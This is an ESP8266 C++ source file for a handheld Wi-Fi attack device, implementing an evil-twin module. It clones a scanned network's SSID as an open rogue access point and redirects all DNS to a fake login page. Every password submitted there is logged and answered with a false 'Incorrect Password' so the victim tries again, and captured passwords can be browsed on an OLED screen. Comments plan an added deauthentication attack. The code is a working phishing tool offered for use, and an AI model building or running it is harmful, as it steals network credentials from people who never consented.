#include "mitm.h" #include "config.h" #include "utils.h" #include "ui.h" // For needsRedraw, oled access #include "scanner.h" // <<< Include scanner header for AP list access #include #include // For DNS Spoofing #include // For Captive Portal // --- External UI Elements --- extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C oled; extern bool needsRedraw; extern UIState currentState; // To potentially switch back to main menu // --- MitM Module State --- static MitmState currentMitmState = MITM_STATE_IDLE; static char target_ssid[33] = "[No Target]"; // Store selected target SSID static uint8_t target_bssid[6] = {0}; // Store selected target BSSID (optional, for deauth) static char captured_password[65] = ""; // To store captured password static IPAddress apIP(192, 168, 4, 1); // IP address for the Rogue AP static IPAddress netMsk(255, 255, 255, 0); // --- Target Selection State --- static int mitm_selected_ap_index = 0; // Index in the scanner's ap_list static int mitm_display_offset = 0; // For scrolling the AP list // --- Captured Password Count --- static int captured_password_count = 0; // Count how many passwords have been submitted // --- Logged Password Storage --- const int MAX_LOGGED_PASSWORDS = 10; const int MAX_PASSWORD_LEN = 64; // Max length for a single password (+1 for null) static char logged_passwords[MAX_LOGGED_PASSWORDS][MAX_PASSWORD_LEN + 1]; static int logged_password_idx = 0; // Index for the *next* slot to write to (circular buffer) static int view_log_scroll_offset = 0; // For scrolling the log view on OLED // --- Login Error State --- static bool show_login_error = false; // Flag to indicate if the error message should be shown // --- Waiting Animation State --- static char waiting_anim_char = '|'; static unsigned long last_anim_time = 0; const unsigned long ANIM_INTERVAL = 250; // Milliseconds between animation frames // --- Capture Alarm State --- static bool new_password_captured = false; // Flag set when a new password arrives static unsigned long capture_alarm_start_time = 0; // When the alarm started const unsigned long CAPTURE_ALARM_DURATION = 1500; // How long the alarm effect lasts (milliseconds) // --- Logged Blinking State --- const unsigned long LOGGED_BLINK_INTERVAL = 500; // Blink rate (milliseconds on/off) static unsigned long last_blink_time = 0; // Timer for blinking redraw trigger static bool logged_text_visible = true; // State for blinking visibility // --- Server Instances --- DNSServer dnsServer; ESP8266WebServer webServer(80); // Web server on port 80 // --- Captive Portal HTML --- // Basic HTML for a fake login page. Can be customized extensively. const char* captivePortalHTML = R"rawliteral( WiFi Login

Connect to WiFi

Please enter the password for '%s'

%s


)rawliteral"; // --- Forward Declarations for Web Handlers --- void handleRoot(); void handleLogin(); void handleNotFound(); void sendCaptivePortalHTML(const char* ssid, const char* error_message); // Helper function // --- Initialization --- void mitm_init() { Serial.println("MitM Module Initialized."); currentMitmState = MITM_STATE_IDLE; strncpy(target_ssid, "[No Target]", sizeof(target_ssid) -1); // Initialize with no target // Any other one-time setup } // --- Start MitM Attack --- void mitm_start() { // Prevent starting only if already active or transitioning if (currentMitmState == MITM_STATE_STARTING || currentMitmState == MITM_STATE_RUNNING || currentMitmState == MITM_STATE_STOPPING) { Serial.println("MitM Start: Already running or starting."); return; } // Check if a valid target has been selected if (strcmp(target_ssid, "[No Target]") == 0 || target_ssid[0] == '\0') { Serial.println("MitM Start: No target AP selected!"); // Optionally switch back to select state or show error on OLED? // For now, just return. return; } Serial.println("MitM Starting..."); currentMitmState = MITM_STATE_STARTING; needsRedraw = true; // Clear previous logs and counters on new start captured_password_count = 0; logged_password_idx = 0; view_log_scroll_offset = 0; memset(logged_passwords, 0, sizeof(logged_passwords)); // Clear the array // TODO: // 1. Configure and start Rogue AP (WiFi.softAPConfig, WiFi.softAP) // 2. Configure and start DNS Server (dnsServer.start) // 3. Configure Web Server handlers (webServer.on, webServer.onNotFound) // 4. Start Web Server (webServer.begin) // 5. Optionally start Deauth attack against real AP // --- Placeholder Setup --- Serial.printf("MitM: Setting up Evil Twin AP: %s\n", target_ssid); WiFi.mode(WIFI_AP); // Switch to AP mode WiFi.softAPConfig(apIP, apIP, netMsk); // Use an open network for simplicity first, add password later if needed bool ap_started = WiFi.softAP(target_ssid); if (ap_started) { Serial.printf("MitM: Rogue AP Started. IP: %s\n", WiFi.softAPIP().toString().c_str()); // Start DNS Serial.println("MitM: Starting DNS Server."); // Redirect all domains to our AP's IP address dnsServer.setErrorReplyCode(DNSReplyCode::NoError); dnsServer.start(53, "*", apIP); // Port 53, capture all domains // Start Web Server (Define handlers later) Serial.println("MitM: Starting Web Server."); webServer.on("/", HTTP_GET, handleRoot); // Serve the login page webServer.on("/login", HTTP_POST, handleLogin); // Handle form submission webServer.onNotFound(handleNotFound); // Redirect other requests (Captive Portal) webServer.begin(); Serial.println("MitM: Running."); currentMitmState = MITM_STATE_RUNNING; } else { Serial.println("!!! MitM: Failed to start Rogue AP!"); mitm_stop(); // Cleanup on failure } needsRedraw = true; } // --- Stop MitM Attack --- void mitm_stop() { Serial.println("MitM Stopping..."); currentMitmState = MITM_STATE_STOPPING; // Stop servers and WiFi AP webServer.stop(); dnsServer.stop(); WiFi.softAPdisconnect(true); // Disconnect clients and stop AP WiFi.mode(WIFI_STA); // Return to STA mode WiFi.disconnect(); // Disconnect from any network // Clear captured data memset(captured_password, 0, sizeof(captured_password)); // Clear captured data count captured_password_count = 0; // Clear log state logged_password_idx = 0; view_log_scroll_offset = 0; memset(logged_passwords, 0, sizeof(logged_passwords)); // Clear the array Serial.println("MitM Stopped."); currentMitmState = MITM_STATE_IDLE; needsRedraw = true; } // --- Main Update Loop --- void mitm_update() { // Only run updates if the MitM module is in the RUNNING state if (currentMitmState == MITM_STATE_RUNNING) { // --- Handle Network Tasks --- // Process any incoming DNS requests (for captive portal redirection) dnsServer.processNextRequest(); // Process any incoming web requests to the captive portal server webServer.handleClient(); // --- Handle UI Updates (Animation/Blinking) --- // Get the current time once to use for timing checks below unsigned long currentMillis = millis(); // Check if any passwords have been captured yet if (captured_password_count == 0) { // --- No passwords captured: Update "Waiting..." Animation --- // Check if it's time for the next animation frame if (currentMillis - last_anim_time > ANIM_INTERVAL) { last_anim_time = currentMillis; // Reset the animation timer // Cycle through the animation characters: | / - \ // This switch statement selects the next character based on the current one switch (waiting_anim_char) { case '|': waiting_anim_char = '/'; break; case '/': waiting_anim_char = '-'; break; case '-': waiting_anim_char = '\\'; break; // Use double backslash for the character case '\\': waiting_anim_char = '|'; break; default: waiting_anim_char = '|'; break; // If something unexpected happens, reset } // End of switch statement // We need to redraw the screen to show the new animation character needsRedraw = true; } } else { // --- Passwords HAVE been captured: Update "Logged: X" Blinking --- // Check if it's time to toggle the blink state (on/off) if (currentMillis - last_blink_time > LOGGED_BLINK_INTERVAL) { last_blink_time = currentMillis; // Reset the blink timer // We need to redraw the screen to potentially change the visibility needsRedraw = true; } } } // End of if (currentMitmState == MITM_STATE_RUNNING) // You could add other state updates outside the RUNNING check if needed // For example, handling timeouts or other background tasks for MitM. } // End of mitm_update function // --- Helper to Send Captive Portal HTML (Chunked) --- void sendCaptivePortalHTML(const char* ssid, const char* error_message) { // Find placeholders const char* ssidPlaceholderPos = strstr(captivePortalHTML, "%s"); const char* errorPlaceholderPos = ssidPlaceholderPos ? strstr(ssidPlaceholderPos + 2, "%s") : nullptr; // Find second %s if (!ssidPlaceholderPos || !errorPlaceholderPos) { Serial.println("MitM Web Helper: Error! Placeholders not found in HTML."); webServer.send(500, "text/plain", "Internal Server Error: Portal template invalid."); return; } // Calculate lengths size_t part1Len = ssidPlaceholderPos - captivePortalHTML; size_t ssidLen = strlen(ssid); size_t part2Len = errorPlaceholderPos - (ssidPlaceholderPos + 2); size_t errorLen = strlen(error_message); size_t part3Len = strlen(errorPlaceholderPos + 2); size_t totalLen = part1Len + ssidLen + part2Len + errorLen + part3Len; // Send headers webServer.setContentLength(totalLen); webServer.send(200, "text/html", ""); // Send headers, empty content // Send content in chunks webServer.sendContent_P(captivePortalHTML, part1Len); webServer.sendContent(ssid, ssidLen); webServer.sendContent_P(ssidPlaceholderPos + 2, part2Len); webServer.sendContent(error_message, errorLen); webServer.sendContent_P(errorPlaceholderPos + 2, part3Len); webServer.client().stop(); // Close connection Serial.println("MitM Web Helper: Finished sending chunked response."); } // --- Web Server Handlers --- void handleRoot() { Serial.println("MitM Web: Serving root page (chunked)."); const char* error_msg = ""; if (show_login_error) { Serial.println("MitM Web: Login error flag is set, showing error message."); error_msg = "Incorrect Password. Please try again."; show_login_error = false; // Reset the flag after using it } sendCaptivePortalHTML(target_ssid, error_msg); } void handleLogin() { Serial.println("MitM Web: Received POST to /login"); if (webServer.hasArg("password")) { String password = webServer.arg("password"); Serial.printf("MitM Web: Potential Password Captured: %s\n", password.c_str()); // Store the password in the log array (circular buffer) strncpy(logged_passwords[logged_password_idx], password.c_str(), MAX_PASSWORD_LEN); logged_passwords[logged_password_idx][MAX_PASSWORD_LEN] = '\0'; // Ensure null termination logged_password_idx = (logged_password_idx + 1) % MAX_LOGGED_PASSWORDS; // Move to next slot, wrap around captured_password_count++; // Increment count new_password_captured = true; capture_alarm_start_time = millis(); needsRedraw = true; // Force UI redraw to update count if needed // Set the flag to show the error on the next page load show_login_error = true; // Redirect the client back to the root page webServer.sendHeader("Location", "/", true); webServer.send(302, "text/plain", "Password Incorrect - Redirecting..."); // 302 Found } else { Serial.println("MitM Web: Login POST received, but no 'password' argument."); webServer.send(400, "text/plain", "Bad Request: Missing password field."); } } void handleNotFound() { // Redirect to root page (captive portal trigger) Serial.println("MitM Web: handleNotFound triggered, redirecting."); webServer.sendHeader("Location", "/", true); // Redirect to root webServer.send(302, "text/plain", ""); // 302 Found status code } // --- Draw MitM UI --- void mitm_draw() { oled.setFont(u8g2_font_6x10_tf); // Ensure default font at start switch (currentMitmState) { case MITM_STATE_IDLE: // Draw Title oled.drawStr(0, 25, "Evil Twin Ready"); // Keep at default position for now // Draw Target Label (Small) oled.setFont(u8g2_font_5x7_tf); oled.drawStr(0, 40, "Target SSID:"); oled.setFont(u8g2_font_6x10_tf); // Back to default font // Draw Target SSID (Default Font) oled.drawStr(0, 52, target_ssid); // Draw Footer (Small) oled.setFont(u8g2_font_5x7_tf); oled.drawStr(0, SCREEN_HEIGHT - 1, "LONG: Select Target"); oled.setFont(u8g2_font_6x10_tf); // Back to default font break; case MITM_STATE_SELECT_TARGET: { // Block scope for local variables oled.drawStr(0, 24, "Select Target AP:"); // oled.drawLine(0, 26, SCREEN_WIDTH, 26); // Line removed const int items_per_page = 3; // Keep showing 3 APs int yPos = 32; // Start list items at Y=32 int line_height = 11; if (ap_count == 0) { oled.drawStr(10, 40, "[No APs Found]"); oled.drawStr(10, 52, "Run Scanner First!"); } else { for (int i = 0; i < items_per_page; ++i) { int current_item_index = mitm_display_offset + i; if (current_item_index >= ap_count) break; // Stop if we run out of APs AccessPointInfo* ap = &ap_list[current_item_index]; char buffer[40]; // <<< INCREASE BUFFER SIZE (e.g., to 40) char select_char = (current_item_index == mitm_selected_ap_index) ? '>' : ' '; String encStr = encryption_to_string(ap->encryption); // Assuming you have this function from scanner snprintf(buffer, sizeof(buffer), "%c%-16.16s %s", select_char, ap->ssid[0] ? ap->ssid : "[Hidden]", encStr.c_str()); oled.drawStr(0, yPos + (i * line_height), buffer); } // Draw scroll indicators if needed (similar to scanner) if (ap_count > items_per_page) { if (mitm_display_offset > 0) oled.drawTriangle(SCREEN_WIDTH - 6, 28, SCREEN_WIDTH - 9, 31, SCREEN_WIDTH - 3, 31); // Up (Y=28-31) if (mitm_display_offset + items_per_page < ap_count) oled.drawTriangle(SCREEN_WIDTH - 6, SCREEN_HEIGHT - 3, SCREEN_WIDTH - 9, SCREEN_HEIGHT - 7, SCREEN_WIDTH - 3, SCREEN_HEIGHT - 7); // Down } } oled.drawStr(0, SCREEN_HEIGHT - 1, "S:Scroll L:Select"); } break; case MITM_STATE_STARTING: oled.drawStr(0, 30, "MitM Starting..."); break; case MITM_STATE_RUNNING: { // Block scope // Draw Title (Moved up) oled.drawStr(0, 10, "Evil Twin Active"); // Draw just below header line // Draw AP Info oled.drawStr(0, 24, "AP:"); oled.drawStr(18, 24, target_ssid); // Draw Status (Waiting animation or Logged count) char footer_text[20]; // Buffer for footer text if (captured_password_count > 0) { // --- Handle Capture Alarm & Blinking --- bool draw_inverted = false; bool draw_normal = true; // Assume we draw normally unless blinking off if (new_password_captured) { if (millis() - capture_alarm_start_time < CAPTURE_ALARM_DURATION) { draw_inverted = true; // Still within alarm duration draw_normal = false; // Don't draw normally during alarm } else { new_password_captured = false; // Alarm duration ended } } // If alarm is not active, handle blinking if (!draw_inverted) { // Toggle visibility based on time interval logged_text_visible = (millis() / LOGGED_BLINK_INTERVAL) % 2 == 0; if (!logged_text_visible) { draw_normal = false; // Don't draw if in the "off" blink phase } } // --- End Alarm & Blinking Handling --- char count_buffer[20]; snprintf(count_buffer, sizeof(count_buffer), "Logged: %d", captured_password_count); // Draw the "Logged: X" text (normal or inverted) int text_y = 38; int text_width = oled.getStrWidth(count_buffer); int text_height = 10; // Font height if (draw_inverted) { oled.setDrawColor(1); // Set color to foreground (white) oled.drawBox(0, text_y - text_height + 1, text_width + 2, text_height + 1); // Draw black box behind text area oled.setDrawColor(0); // Set color to background (black) for text oled.drawStr(1, text_y, count_buffer); // Draw text slightly offset within box oled.setDrawColor(1); // IMPORTANT: Reset draw color to foreground for other elements } else if (draw_normal) { // Only draw normally if not inverted and not in blink "off" phase oled.drawStr(0, text_y, count_buffer); // Draw normally } strncpy(footer_text, "S:Logs L:Stop", sizeof(footer_text)); } else { char waiting_buffer[15]; snprintf(waiting_buffer, sizeof(waiting_buffer), "Waiting %c", waiting_anim_char); oled.drawStr(0, 38, waiting_buffer); // Draw waiting text + animation strncpy(footer_text, "LONG: Stop", sizeof(footer_text)); } footer_text[sizeof(footer_text)-1] = '\0'; // Ensure null termination // Draw Footer (Small) oled.setFont(u8g2_font_5x7_tf); oled.drawStr(0, SCREEN_HEIGHT - 1, footer_text); oled.setFont(u8g2_font_6x10_tf); // Back to default font } // End block scope break; case MITM_STATE_STOPPING: oled.drawStr(0, 30, "MitM Stopping..."); break; case MITM_STATE_VIEW_LOGS: { // Block scope for VIEW_LOGS state int displayable_logs = min(captured_password_count, MAX_LOGGED_PASSWORDS); int font_height = 10; // Approx height of the font used (6x10) int line_spacing = font_height + 1; // Y distance between lines (11) int start_y = 24; // Y position for the first line of the password (Reverted) if (displayable_logs == 0) { oled.drawStr(10, 40, "[No Logs Yet]"); // Keep this centered vertically } else { // --- Draw Scroll Indicators (Page Up/Down) --- // Up arrow if not showing the first log (index 0) if (view_log_scroll_offset > 0) { oled.drawTriangle(SCREEN_WIDTH - 6, 16, SCREEN_WIDTH - 9, 20, SCREEN_WIDTH - 3, 20); // Up } // Down arrow if not showing the last log if (view_log_scroll_offset < displayable_logs - 1) { oled.drawTriangle(SCREEN_WIDTH - 6, SCREEN_HEIGHT - 3, SCREEN_WIDTH - 9, SCREEN_HEIGHT - 7, SCREEN_WIDTH - 3, SCREEN_HEIGHT - 7); // Down } // --- Calculate index of the single password to display --- int log_index_to_display = view_log_scroll_offset; // 0-based index of the log entry // Calculate actual index in circular buffer int start_idx; if (captured_password_count <= MAX_LOGGED_PASSWORDS) { start_idx = 0; } else { start_idx = logged_password_idx; } int actual_idx = (start_idx + log_index_to_display) % MAX_LOGGED_PASSWORDS; // --- Draw the selected password across up to 4 lines --- const char* password = logged_passwords[actual_idx]; int password_len = strlen(password); // Draw Prefix "N:" (e.g., "1:", "2:") char prefix_buffer[6]; snprintf(prefix_buffer, sizeof(prefix_buffer), "%d:", log_index_to_display + 1); oled.drawStr(0, start_y, prefix_buffer); // Draw prefix on the first line int prefix_width = oled.getStrWidth(prefix_buffer); prefix_width += 2; // Gap const int chars_per_line = 17; char line_buf[chars_per_line + 1]; int current_offset = 0; // Start at the beginning of the password string // Draw up to 4 lines for (int line_num = 0; line_num < 4; ++line_num) { if (current_offset >= password_len) break; // Stop if we've drawn the whole password int chars_to_draw = min(password_len - current_offset, chars_per_line); strncpy(line_buf, password + current_offset, chars_to_draw); line_buf[chars_to_draw] = '\0'; oled.drawStr(prefix_width, start_y + (line_num * line_spacing), line_buf); current_offset += chars_to_draw; // Move offset for the next line } } // --- Draw Footer with smaller font --- oled.setFont(u8g2_font_5x7_tf); // Use a smaller font (e.g., 5x7) oled.drawStr(0, SCREEN_HEIGHT - 1, "S:Next L:Back"); // Updated footer text oled.setFont(u8g2_font_6x10_tf); // <<< IMPORTANT: Set font back to default for next draw cycle } // End block scope break; default: oled.drawStr(0, 30, "MitM Unknown State"); break; } } // --- Handle Button Input --- void mitm_handle_input(ButtonPressType pressType) { switch (currentMitmState) { case MITM_STATE_IDLE: if (pressType == ButtonPressType::LONG_PRESS) { // Enter selection mode currentMitmState = MITM_STATE_SELECT_TARGET; mitm_selected_ap_index = 0; // Reset selection mitm_display_offset = 0; needsRedraw = true; Serial.println("MitM: Entering Target Selection Mode."); } break; case MITM_STATE_SELECT_TARGET: if (ap_count > 0) { // Only handle input if there are APs const int items_per_page = 3; // <<< Update items per page here too if (pressType == ButtonPressType::SHORT_PRESS) { // Scroll down mitm_selected_ap_index = (mitm_selected_ap_index + 1) % ap_count; // Adjust display offset if (mitm_selected_ap_index < mitm_display_offset) mitm_display_offset = mitm_selected_ap_index; else if (mitm_selected_ap_index >= mitm_display_offset + items_per_page) mitm_display_offset = mitm_selected_ap_index - items_per_page + 1; needsRedraw = true; } else if (pressType == ButtonPressType::LONG_PRESS) { // Select the highlighted AP AccessPointInfo* selectedAP = &ap_list[mitm_selected_ap_index]; strncpy(target_ssid, selectedAP->ssid, sizeof(target_ssid) - 1); target_ssid[sizeof(target_ssid) - 1] = '\0'; // Ensure null termination memcpy(target_bssid, selectedAP->bssid, 6); Serial.printf("MitM: Target Selected: %s (%s)\n", target_ssid, macToString(target_bssid).c_str()); mitm_start(); // Attempt to start the attack with the selected target // mitm_start will change the state if successful } } else if (pressType == ButtonPressType::LONG_PRESS) { // Allow long press to go back even if list is empty currentMitmState = MITM_STATE_IDLE; needsRedraw = true; } break; case MITM_STATE_RUNNING: if (pressType == ButtonPressType::LONG_PRESS) { mitm_stop(); } else if (pressType == ButtonPressType::SHORT_PRESS) { // Enter log view mode if passwords have been captured if (captured_password_count > 0) { currentMitmState = MITM_STATE_VIEW_LOGS; view_log_scroll_offset = 0; // Start scroll at the top needsRedraw = true; Serial.println("MitM: Entering Log View Mode."); } } break; case MITM_STATE_STARTING: case MITM_STATE_STOPPING: // Ignore input while starting/stopping for now break; case MITM_STATE_VIEW_LOGS: { // Block scope int displayable_logs = min(captured_password_count, MAX_LOGGED_PASSWORDS); if (pressType == ButtonPressType::LONG_PRESS) { // Go back to running state currentMitmState = MITM_STATE_RUNNING; needsRedraw = true; Serial.println("MitM: Exiting Log View Mode."); } else if (pressType == ButtonPressType::SHORT_PRESS) { // Go to the next password log (if possible) if (displayable_logs > 0 && view_log_scroll_offset < displayable_logs - 1) { view_log_scroll_offset++; needsRedraw = true; } else { // Optional: Add wrap-around or visual feedback if at the end needsRedraw = true; } } } // End block scope break; default: // Should not happen, maybe return to idle on long press? if (pressType == ButtonPressType::LONG_PRESS) { currentMitmState = MITM_STATE_IDLE; needsRedraw = true; } break; } // Old logic: /* if (pressType == ButtonPressType::LONG_PRESS) { if (currentMitmState == MITM_STATE_RUNNING || currentMitmState == MITM_STATE_CAPTURED) { mitm_stop(); } else if (currentMitmState == MITM_STATE_IDLE) { mitm_start(); } // If starting/stopping, long press might cancel or do nothing yet } */ // Short press could be used later for selecting targets or viewing details } // --- Get Current State --- MitmState mitm_get_current_state() { return currentMitmState; }